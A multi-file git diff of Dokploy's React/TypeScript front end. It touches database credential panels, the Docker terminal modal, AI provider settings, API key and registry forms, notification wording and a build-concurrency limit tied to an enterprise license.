@@ -79,7 +79,7 @@ export const ShowInternalMariadbCredentials = ({ mariadbId }: Props) => {
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Internal Host</Label> <Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} /> <Input disabled value={data?.appName} />
</div> </div>
<div className="flex flex-col gap-2 md:col-span-2"> <div className="flex flex-col gap-2 md:col-span-2">

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui"; import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react"; import { useState } from "react";
import { toast } from "sonner"; import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action"; import { DialogAction } from "@/components/shared/dialog-action";
@@ -230,7 +230,6 @@ export const ShowGeneralMongo = ({ mongoId }: Props) => {
</TooltipProvider> </TooltipProvider>
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.mongoId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -25,7 +25,7 @@ export const ShowInternalMongoCredentials = ({ mongoId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8"> <div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>User</Label> <Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} /> <Input disabled value={data?.databaseUser} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
@@ -55,7 +55,7 @@ export const ShowInternalMongoCredentials = ({ mongoId }: Props) => {
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Internal Host</Label> <Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} /> <Input disabled value={data?.appName} />
</div> </div>
<div className="flex flex-col gap-2 md:col-span-2"> <div className="flex flex-col gap-2 md:col-span-2">

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui"; import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react"; import { useState } from "react";
import { toast } from "sonner"; import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action"; import { DialogAction } from "@/components/shared/dialog-action";
@@ -228,7 +228,6 @@ export const ShowGeneralMysql = ({ mysqlId }: Props) => {
</TooltipProvider> </TooltipProvider>
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.mysqlId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -25,11 +25,11 @@ export const ShowInternalMysqlCredentials = ({ mysqlId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8"> <div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>User</Label> <Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} /> <Input disabled value={data?.databaseUser} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Database Name</Label> <Label>Database Name</Label>
<Input enableCopyButton disabled value={data?.databaseName} /> <Input disabled value={data?.databaseName} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Password</Label> <Label>Password</Label>
@@ -79,7 +79,7 @@ export const ShowInternalMysqlCredentials = ({ mysqlId }: Props) => {
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Internal Host</Label> <Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} /> <Input disabled value={data?.appName} />
</div> </div>
<div className="flex flex-col gap-2 md:col-span-2"> <div className="flex flex-col gap-2 md:col-span-2">

View File

@@ -93,8 +93,7 @@ export function AddOrganization({ organizationId }: Props) {
.catch((error) => { .catch((error) => {
console.error(error); console.error(error);
toast.error( toast.error(
error?.message ?? `Failed to ${organizationId ? "update" : "create"} organization`,
`Failed to ${organizationId ? "update" : "create"} organization`,
); );
}); });
}; };

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui"; import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react"; import { useState } from "react";
import { toast } from "sonner"; import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action"; import { DialogAction } from "@/components/shared/dialog-action";
@@ -234,7 +234,6 @@ export const ShowGeneralPostgres = ({ postgresId }: Props) => {
</TooltipProvider> </TooltipProvider>
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.postgresId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -25,11 +25,11 @@ export const ShowInternalPostgresCredentials = ({ postgresId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8"> <div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>User</Label> <Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} /> <Input disabled value={data?.databaseUser} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Database Name</Label> <Label>Database Name</Label>
<Input enableCopyButton disabled value={data?.databaseName} /> <Input disabled value={data?.databaseName} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Password</Label> <Label>Password</Label>
@@ -57,7 +57,7 @@ export const ShowInternalPostgresCredentials = ({ postgresId }: Props) => {
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Internal Host</Label> <Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} /> <Input disabled value={data?.appName} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">

View File

@@ -62,7 +62,7 @@ const dockerImageDefaultPlaceholder: Record<DbType, string> = {
mariadb: "mariadb:11", mariadb: "mariadb:11",
mysql: "mysql:8", mysql: "mysql:8",
postgres: "postgres:18", postgres: "postgres:18",
redis: "redis:8", redis: "redis:7",
}; };
const databasesUserDefaultPlaceholder: Record< const databasesUserDefaultPlaceholder: Record<

View File

@@ -47,7 +47,7 @@ interface Details {
envVariables: EnvVariable[]; envVariables: EnvVariable[];
shortDescription: string; shortDescription: string;
domains: Domain[]; domains: Domain[];
configFiles?: Mount[] | null; configFiles?: Mount[];
} }
interface Mount { interface Mount {

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui"; import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react"; import { useState } from "react";
import { toast } from "sonner"; import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action"; import { DialogAction } from "@/components/shared/dialog-action";
@@ -229,7 +229,6 @@ export const ShowGeneralRedis = ({ redisId }: Props) => {
</TooltipProvider> </TooltipProvider>
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.redisId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -25,7 +25,7 @@ export const ShowInternalRedisCredentials = ({ redisId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8"> <div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>User</Label> <Label>User</Label>
<Input enableCopyButton disabled value="default" /> <Input disabled value="default" />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Password</Label> <Label>Password</Label>
@@ -53,7 +53,7 @@ export const ShowInternalRedisCredentials = ({ redisId }: Props) => {
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Internal Host</Label> <Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} /> <Input disabled value={data?.appName} />
</div> </div>
<div className="flex flex-col gap-2 md:col-span-2"> <div className="flex flex-col gap-2 md:col-span-2">

View File

@@ -1,4 +1,11 @@
import { Area, AreaChart, CartesianGrid, XAxis, YAxis } from "recharts"; import {
Area,
AreaChart,
CartesianGrid,
ResponsiveContainer,
XAxis,
YAxis,
} from "recharts";
import { import {
type ChartConfig, type ChartConfig,
ChartContainer, ChartContainer,
@@ -42,60 +49,65 @@ export const RequestDistributionChart = ({
); );
return ( return (
<ChartContainer <div className="w-full h-[200px] overflow-hidden">
config={chartConfig} <ResponsiveContainer
className="aspect-auto h-[200px] w-full" width="100%"
> height="100%"
<AreaChart className="overflow-hidden"
accessibilityLayer
data={stats || []}
margin={{
top: 10,
left: 12,
right: 12,
bottom: 0,
}}
> >
<CartesianGrid vertical={false} /> <ChartContainer config={chartConfig}>
<XAxis <AreaChart
dataKey="hour" accessibilityLayer
tickLine={false} data={stats || []}
axisLine={false} margin={{
tickMargin={8} top: 10,
tickFormatter={(value) => left: 12,
new Date(value).toLocaleTimeString([], { right: 12,
hour: "2-digit", bottom: 0,
minute: "2-digit", }}
}) >
} <CartesianGrid vertical={false} />
/> <XAxis
<YAxis dataKey="hour"
tickLine={false} tickLine={false}
axisLine={false} axisLine={false}
tickMargin={8} tickMargin={8}
allowDataOverflow={false} tickFormatter={(value) =>
domain={[0, "auto"]} new Date(value).toLocaleTimeString([], {
/> hour: "2-digit",
<ChartTooltip minute: "2-digit",
cursor={false} })
content={<ChartTooltipContent indicator="line" />} }
labelFormatter={(value) => />
new Date(value).toLocaleString([], { <YAxis
month: "short", tickLine={false}
day: "numeric", axisLine={false}
hour: "2-digit", tickMargin={8}
minute: "2-digit", allowDataOverflow={false}
}) domain={[0, "auto"]}
} />
/> <ChartTooltip
<Area cursor={false}
dataKey="count" content={<ChartTooltipContent indicator="line" />}
type="monotone" labelFormatter={(value) =>
fill="hsl(var(--chart-1))" new Date(value).toLocaleString([], {
fillOpacity={0.4} month: "short",
stroke="hsl(var(--chart-1))" day: "numeric",
/> hour: "2-digit",
</AreaChart> minute: "2-digit",
</ChartContainer> })
}
/>
<Area
dataKey="count"
type="monotone"
fill="hsl(var(--chart-1))"
fillOpacity={0.4}
stroke="hsl(var(--chart-1))"
/>
</AreaChart>
</ChartContainer>
</ResponsiveContainer>
</div>
); );
}; };

View File

@@ -13,14 +13,10 @@ import {
} from "@/components/ui/card"; } from "@/components/ui/card";
import { api } from "@/utils/api"; import { api } from "@/utils/api";
import { HandleAi } from "./handle-ai"; import { HandleAi } from "./handle-ai";
import { HandleAiProviders } from "./handle-ai-providers";
export const AiForm = () => { export const AiForm = () => {
const { data: aiConfigs, refetch, isPending } = api.ai.getAll.useQuery(); const { data: aiConfigs, refetch, isPending } = api.ai.getAll.useQuery();
const { mutateAsync, isPending: isRemoving } = api.ai.delete.useMutation(); const { mutateAsync, isPending: isRemoving } = api.ai.delete.useMutation();
const { data: currentUser } = api.user.get.useQuery();
const isOrgAdmin =
currentUser?.role === "owner" || currentUser?.role === "admin";
return ( return (
<div className="w-full"> <div className="w-full">
@@ -34,10 +30,7 @@ export const AiForm = () => {
</CardTitle> </CardTitle>
<CardDescription>Manage your AI configurations</CardDescription> <CardDescription>Manage your AI configurations</CardDescription>
</div> </div>
<div className="flex flex-row gap-2"> {aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
{isOrgAdmin && <HandleAiProviders />}
{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
</div>
</CardHeader> </CardHeader>
<CardContent className="space-y-2 py-8 border-t"> <CardContent className="space-y-2 py-8 border-t">
{isPending ? ( {isPending ? (

View File

@@ -32,11 +32,10 @@ import {
SelectValue, SelectValue,
} from "@/components/ui/select"; } from "@/components/ui/select";
import { Switch } from "@/components/ui/switch"; import { Switch } from "@/components/ui/switch";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
import { api } from "@/utils/api"; import { api } from "@/utils/api";
const formSchema = z.object({ const formSchema = z.object({
name: apiKeyNameSchema, name: z.string().min(1, "Name is required"),
prefix: z.string().optional(), prefix: z.string().optional(),
expiresIn: z.number().nullable(), expiresIn: z.number().nullable(),
organizationId: z.string().min(1, "Organization is required"), organizationId: z.string().min(1, "Organization is required"),
@@ -160,15 +159,8 @@ export const AddApiKey = () => {
<FormItem> <FormItem>
<FormLabel>Name</FormLabel> <FormLabel>Name</FormLabel>
<FormControl> <FormControl>
<Input <Input placeholder="My API Key" {...field} />
placeholder="My API Key"
maxLength={API_KEY_NAME_MAX_LENGTH}
{...field}
/>
</FormControl> </FormControl>
<FormDescription>
Maximum {API_KEY_NAME_MAX_LENGTH} characters
</FormDescription>
<FormMessage /> <FormMessage />
</FormItem> </FormItem>
)} )}

View File

@@ -227,9 +227,9 @@ export const HandleRegistry = ({ registryId }: Props) => {
</DialogTrigger> </DialogTrigger>
<DialogContent className="sm:max-w-2xl"> <DialogContent className="sm:max-w-2xl">
<DialogHeader> <DialogHeader>
<DialogTitle>Add an external registry</DialogTitle> <DialogTitle>Add a external registry</DialogTitle>
<DialogDescription> <DialogDescription>
Fill in the following fields to add an external registry. Fill the next fields to add a external registry.
</DialogDescription> </DialogDescription>
</DialogHeader> </DialogHeader>
{(isError || testRegistryIsError || testRegistryByIdIsError) && ( {(isError || testRegistryIsError || testRegistryByIdIsError) && (

View File

@@ -1,158 +0,0 @@
"use client";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
import { PlusIcon, ServerIcon, Trash2 } from "lucide-react";
import { useEffect, useState } from "react";
import { useFieldArray, useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import {
Form,
FormControl,
FormField,
FormItem,
FormMessage,
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import { api } from "@/utils/api";
const Schema = z.object({
providers: z.array(
z.object({
name: z.string().min(1, { message: "Name is required" }),
apiUrl: z.string().url({ message: "Please enter a valid URL" }),
}),
),
});
type Schema = z.infer<typeof Schema>;
export const HandleAiProviders = () => {
const utils = api.useUtils();
const [open, setOpen] = useState(false);
const { data: providers } = api.ai.getCustomProviders.useQuery();
const { mutateAsync, isPending } = api.ai.saveCustomProviders.useMutation();
const form = useForm<Schema>({
resolver: zodResolver(Schema),
defaultValues: {
providers: [],
},
});
const { fields, append, remove } = useFieldArray({
control: form.control,
name: "providers",
});
useEffect(() => {
if (open) {
form.reset({ providers: providers ?? [] });
}
}, [open, providers, form]);
const onSubmit = async (data: Schema) => {
try {
await mutateAsync({ providers: data.providers });
await utils.ai.getCustomProviders.invalidate();
toast.success("Custom providers saved successfully");
setOpen(false);
} catch (error) {
toast.error("Failed to save custom providers", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
return (
<Dialog open={open} onOpenChange={setOpen}>
<DialogTrigger asChild>
<Button variant="outline" className="cursor-pointer space-x-3">
<ServerIcon className="h-4 w-4" />
Custom Presets
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-xl">
<DialogHeader>
<DialogTitle>Custom AI Providers</DialogTitle>
<DialogDescription>
Define your own AI providers, like an internal LLM platform. When at
least one is defined, only these providers can be used in AI
configurations.
</DialogDescription>
</DialogHeader>
<Form {...form}>
<form onSubmit={form.handleSubmit(onSubmit)} className="space-y-4">
{fields.length === 0 && (
<p className="text-sm text-muted-foreground">
No custom providers defined. The built-in provider list will be
used.
</p>
)}
{fields.map((fieldItem, index) => (
<div key={fieldItem.id} className="flex gap-2 items-start">
<FormField
control={form.control}
name={`providers.${index}.name`}
render={({ field }) => (
<FormItem className="flex-1">
<FormControl>
<Input placeholder="Internal LLM" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name={`providers.${index}.apiUrl`}
render={({ field }) => (
<FormItem className="flex-[2]">
<FormControl>
<Input
placeholder="https://llm.internal.company/v1"
{...field}
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<Button
type="button"
variant="ghost"
size="icon"
className="group hover:bg-red-500/10"
onClick={() => remove(index)}
>
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
</Button>
</div>
))}
<div className="flex justify-between">
<Button
type="button"
variant="outline"
onClick={() => append({ name: "", apiUrl: "" })}
>
<PlusIcon className="h-4 w-4" />
Add Provider
</Button>
<Button type="submit" isLoading={isPending}>
Save
</Button>
</div>
</form>
</Form>
</DialogContent>
</Dialog>
);
};

View File

@@ -99,11 +99,6 @@ export const HandleAi = ({ aiId }: Props) => {
enabled: !!aiId, enabled: !!aiId,
}, },
); );
const { data: customProviders } = api.ai.getCustomProviders.useQuery();
const hasCustomProviders = (customProviders?.length ?? 0) > 0;
const providerOptions: { name: string; apiUrl: string }[] = hasCustomProviders
? (customProviders ?? [])
: [...AI_PROVIDERS];
const { mutateAsync, isPending } = aiId const { mutateAsync, isPending } = aiId
? api.ai.update.useMutation() ? api.ai.update.useMutation()
: api.ai.create.useMutation(); : api.ai.create.useMutation();
@@ -136,10 +131,7 @@ export const HandleAi = ({ aiId }: Props) => {
const apiUrl = form.watch("apiUrl"); const apiUrl = form.watch("apiUrl");
const apiKey = form.watch("apiKey"); const apiKey = form.watch("apiKey");
// Any Ollama instance on the default port 11434 is treated as no-auth const isOllama = apiUrl.includes(":11434") || apiUrl.includes("ollama");
// (covers localhost and self-hosted LAN deployments). Ollama Cloud
// (ollama.com on 443) falls through and requires an API key.
const isLocalOllama = apiUrl.includes(":11434");
const { const {
data: models, data: models,
isFetching: isLoadingServerModels, isFetching: isLoadingServerModels,
@@ -150,7 +142,7 @@ export const HandleAi = ({ aiId }: Props) => {
apiKey: apiKey ?? "", apiKey: apiKey ?? "",
}, },
{ {
enabled: !!apiUrl && (isLocalOllama || !!apiKey), enabled: !!apiUrl && (isOllama || !!apiKey),
}, },
); );
@@ -215,9 +207,7 @@ export const HandleAi = ({ aiId }: Props) => {
<FormLabel>Provider</FormLabel> <FormLabel>Provider</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
const provider = providerOptions.find( const provider = AI_PROVIDERS.find((p) => p.apiUrl === value);
(p) => p.apiUrl === value,
);
if (provider) { if (provider) {
form.setValue("name", provider.name); form.setValue("name", provider.name);
form.setValue("apiUrl", provider.apiUrl); form.setValue("apiUrl", provider.apiUrl);
@@ -229,20 +219,15 @@ export const HandleAi = ({ aiId }: Props) => {
<SelectValue placeholder="Select a provider preset..." /> <SelectValue placeholder="Select a provider preset..." />
</SelectTrigger> </SelectTrigger>
<SelectContent> <SelectContent>
{providerOptions.map((provider) => ( {AI_PROVIDERS.map((provider) => (
<SelectItem <SelectItem key={provider.apiUrl} value={provider.apiUrl}>
key={`${provider.name}-${provider.apiUrl}`}
value={provider.apiUrl}
>
{provider.name} {provider.name}
</SelectItem> </SelectItem>
))} ))}
</SelectContent> </SelectContent>
</Select> </Select>
<p className="text-[0.8rem] text-muted-foreground"> <p className="text-[0.8rem] text-muted-foreground">
{hasCustomProviders Quick-fill provider name and URL, or configure manually below
? "Select one of the providers defined by your organization"
: "Quick-fill provider name and URL, or configure manually below"}
</p> </p>
</div> </div>
@@ -272,7 +257,6 @@ export const HandleAi = ({ aiId }: Props) => {
<FormControl> <FormControl>
<Input <Input
placeholder="https://api.openai.com/v1" placeholder="https://api.openai.com/v1"
disabled={hasCustomProviders}
{...field} {...field}
onChange={(e) => { onChange={(e) => {
field.onChange(e); field.onChange(e);
@@ -284,16 +268,14 @@ export const HandleAi = ({ aiId }: Props) => {
/> />
</FormControl> </FormControl>
<FormDescription> <FormDescription>
{hasCustomProviders The base URL for your AI provider's API
? "The API URL is defined by your organization's providers"
: "The base URL for your AI provider's API"}
</FormDescription> </FormDescription>
<FormMessage /> <FormMessage />
</FormItem> </FormItem>
)} )}
/> />
{!isLocalOllama && ( {!isOllama && (
<FormField <FormField
control={form.control} control={form.control}
name="apiKey" name="apiKey"

View File

@@ -1828,7 +1828,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className=""> <div className="">
<FormLabel>App Deploy</FormLabel> <FormLabel>App Deploy</FormLabel>
<FormDescription> <FormDescription>
Trigger the action when an app is deployed. Trigger the action when a app is deployed.
</FormDescription> </FormDescription>
</div> </div>
<FormControl> <FormControl>
@@ -1890,7 +1890,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5"> <div className="space-y-0.5">
<FormLabel>Dokploy Backup</FormLabel> <FormLabel>Dokploy Backup</FormLabel>
<FormDescription> <FormDescription>
Trigger the action when a Dokploy backup is created. Trigger the action when a dokploy backup is created.
</FormDescription> </FormDescription>
</div> </div>
<FormControl> <FormControl>
@@ -1932,7 +1932,8 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5"> <div className="space-y-0.5">
<FormLabel>Docker Cleanup</FormLabel> <FormLabel>Docker Cleanup</FormLabel>
<FormDescription> <FormDescription>
Trigger the action when Docker cleanup is performed. Trigger the action when the docker cleanup is
performed.
</FormDescription> </FormDescription>
</div> </div>
<FormControl> <FormControl>
@@ -1954,7 +1955,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5"> <div className="space-y-0.5">
<FormLabel>Dokploy Restart</FormLabel> <FormLabel>Dokploy Restart</FormLabel>
<FormDescription> <FormDescription>
Trigger the action when Dokploy is restarted. Trigger the action when dokploy is restarted.
</FormDescription> </FormDescription>
</div> </div>
<FormControl> <FormControl>

View File

@@ -100,7 +100,7 @@ export const Enable2FA = () => {
}); });
if (result.error) { if (result.error) {
if (result.error.code === "INVALID_CODE") { if (result.error.code === "INVALID_TWO_FACTOR_AUTHENTICATION") {
toast.error("Invalid verification code"); toast.error("Invalid verification code");
return; return;
} }

View File

@@ -4,7 +4,9 @@ import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input"; import { Input } from "@/components/ui/input";
import { api } from "@/utils/api"; import { api } from "@/utils/api";
const MAX_CONCURRENCY = 100; // Free tier may set up to 2 concurrent builds; enterprise unlocks more.
const FREE_MAX_CONCURRENCY = 2;
const ENTERPRISE_MAX_CONCURRENCY = 100;
interface Props { interface Props {
/** /**
@@ -18,10 +20,14 @@ interface Props {
/** /**
* Control to set the number of concurrent builds, either for a remote server * Control to set the number of concurrent builds, either for a remote server
* (`serverId` provided) or the local web server (omitted). Not shown in cloud. * (`serverId` provided) or the local web server (omitted). Available to
* everyone self-hosted up to FREE_MAX_CONCURRENCY; higher values require a
* valid enterprise license. Not shown in cloud.
*/ */
export const BuildsConcurrency = ({ serverId, label }: Props) => { export const BuildsConcurrency = ({ serverId, label }: Props) => {
const { data: isCloud } = api.settings.isCloud.useQuery(); const { data: isCloud } = api.settings.isCloud.useQuery();
const { data: haveValidLicense } =
api.licenseKey.haveValidLicenseKey.useQuery();
const serverQuery = api.server.one.useQuery( const serverQuery = api.server.one.useQuery(
{ serverId: serverId ?? "" }, { serverId: serverId ?? "" },
@@ -53,7 +59,10 @@ export const BuildsConcurrency = ({ serverId, label }: Props) => {
// Concurrent builds are a self-hosted feature; not shown in cloud. // Concurrent builds are a self-hosted feature; not shown in cloud.
if (isCloud) return null; if (isCloud) return null;
const clamp = (n: number) => Math.min(MAX_CONCURRENCY, Math.max(1, n)); const max = haveValidLicense
? ENTERPRISE_MAX_CONCURRENCY
: FREE_MAX_CONCURRENCY;
const clamp = (n: number) => Math.min(max, Math.max(1, n));
const handleSave = async () => { const handleSave = async () => {
const parsed = clamp(Number.parseInt(value, 10) || 1); const parsed = clamp(Number.parseInt(value, 10) || 1);
@@ -92,7 +101,7 @@ export const BuildsConcurrency = ({ serverId, label }: Props) => {
<Input <Input
type="number" type="number"
min={1} min={1}
max={MAX_CONCURRENCY} max={max}
value={value} value={value}
onChange={(e) => setValue(e.target.value)} onChange={(e) => setValue(e.target.value)}
className="w-20" className="w-20"

View File

@@ -97,7 +97,6 @@ export const ShowUsers = () => {
<TableRow> <TableRow>
<TableHead className="w-[100px]">Email</TableHead> <TableHead className="w-[100px]">Email</TableHead>
<TableHead className="text-center">Role</TableHead> <TableHead className="text-center">Role</TableHead>
<TableHead className="text-center">Status</TableHead>
<TableHead className="text-center">2FA</TableHead> <TableHead className="text-center">2FA</TableHead>
<TableHead className="text-center"> <TableHead className="text-center">
@@ -174,19 +173,6 @@ export const ShowUsers = () => {
{member.role} {member.role}
</Badge> </Badge>
</TableCell> </TableCell>
<TableCell className="text-center">
<Badge
variant={
member.user.banned
? "destructive"
: "outline"
}
>
{member.user.banned
? "Deactivated"
: "Active"}
</Badge>
</TableCell>
<TableCell className="text-center"> <TableCell className="text-center">
{member.user.twoFactorEnabled {member.user.twoFactorEnabled
? "Enabled" ? "Enabled"

View File

@@ -43,8 +43,7 @@ const addServerDomain = z
.string() .string()
.trim() .trim()
.toLowerCase() .toLowerCase()
// empty clears the server domain and reverts to IP-only access .refine((val) => VALID_HOSTNAME_REGEX.test(val), {
.refine((val) => val === "" || VALID_HOSTNAME_REGEX.test(val), {
message: INVALID_HOSTNAME_MESSAGE, message: INVALID_HOSTNAME_MESSAGE,
}), }),
letsEncryptEmail: z.string(), letsEncryptEmail: z.string(),
@@ -52,7 +51,7 @@ const addServerDomain = z
certificateType: z.enum(["letsencrypt", "none", "custom"]), certificateType: z.enum(["letsencrypt", "none", "custom"]),
}) })
.superRefine((data, ctx) => { .superRefine((data, ctx) => {
if (data.domain && data.https && !data.certificateType) { if (data.https && !data.certificateType) {
ctx.addIssue({ ctx.addIssue({
code: z.ZodIssueCode.custom, code: z.ZodIssueCode.custom,
path: ["certificateType"], path: ["certificateType"],
@@ -60,7 +59,6 @@ const addServerDomain = z
}); });
} }
if ( if (
data.domain &&
data.https && data.https &&
data.certificateType === "letsencrypt" && data.certificateType === "letsencrypt" &&
!data.letsEncryptEmail !data.letsEncryptEmail

View File

@@ -40,7 +40,6 @@ interface Props {
children?: React.ReactNode; children?: React.ReactNode;
serverId?: string; serverId?: string;
appType?: "stack" | "docker-compose"; appType?: "stack" | "docker-compose";
serviceId?: string;
} }
export const DockerTerminalModal = ({ export const DockerTerminalModal = ({
@@ -48,7 +47,6 @@ export const DockerTerminalModal = ({
appName, appName,
serverId, serverId,
appType, appType,
serviceId,
}: Props) => { }: Props) => {
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery( const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
{ {
@@ -133,7 +131,6 @@ export const DockerTerminalModal = ({
serverId={serverId || ""} serverId={serverId || ""}
id="terminal" id="terminal"
containerId={containerId || "select-a-container"} containerId={containerId || "select-a-container"}
serviceId={serviceId}
/> />
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}> <Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}> <DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>

View File

@@ -87,29 +87,29 @@ export const RebuildDatabase = ({ id, type }: Props) => {
<AlertTriangle className="h-5 w-5 text-destructive" /> <AlertTriangle className="h-5 w-5 text-destructive" />
Are you absolutely sure? Are you absolutely sure?
</AlertDialogTitle> </AlertDialogTitle>
<AlertDialogDescription asChild> <AlertDialogDescription className="space-y-2">
<div className="space-y-2"> <p>This action will:</p>
<p>This action will:</p> <ul className="list-disc list-inside space-y-1">
<ul className="list-disc list-inside space-y-1"> <li>Stop the current database service</li>
<li>Stop the current database service</li> <li>Delete all existing data and volumes</li>
<li>Delete all existing data and volumes</li> <li>Reset to the default configuration</li>
<li>Reset to the default configuration</li> <li>Restart the service with a clean state</li>
<li>Restart the service with a clean state</li> </ul>
</ul> <p className="font-medium text-destructive mt-4">
<p className="font-medium text-destructive mt-4"> This action cannot be undone.
This action cannot be undone. </p>
</p>
</div>
</AlertDialogDescription> </AlertDialogDescription>
</AlertDialogHeader> </AlertDialogHeader>
<AlertDialogFooter> <AlertDialogFooter>
<AlertDialogCancel>Cancel</AlertDialogCancel> <AlertDialogCancel>Cancel</AlertDialogCancel>
<AlertDialogAction <AlertDialogAction
onClick={handleRebuild} onClick={handleRebuild}
disabled={isPending} className="bg-destructive text-destructive-foreground hover:bg-destructive/90"
variant="destructive" asChild
> >
Yes, rebuild database <Button isLoading={isPending} type="submit">
Yes, rebuild database
</Button>
</AlertDialogAction> </AlertDialogAction>
</AlertDialogFooter> </AlertDialogFooter>
</AlertDialogContent> </AlertDialogContent>

View File

@@ -33,7 +33,7 @@ export const ShowNodeApplications = ({ serverId }: Props) => {
return ( return (
<Dialog> <Dialog>
<DialogTrigger asChild> <DialogTrigger asChild>
<Button variant="outline" size="sm"> <Button variant="outline" size="sm" className="w-full">
<Loader2 className="h-4 w-4 mr-2 animate-spin" /> <Loader2 className="h-4 w-4 mr-2 animate-spin" />
</Button> </Button>
</DialogTrigger> </DialogTrigger>
@@ -82,7 +82,7 @@ export const ShowNodeApplications = ({ serverId }: Props) => {
return ( return (
<Dialog> <Dialog>
<DialogTrigger asChild> <DialogTrigger asChild>
<Button variant="outline" size="sm"> <Button variant="outline" size="sm" className="w-full">
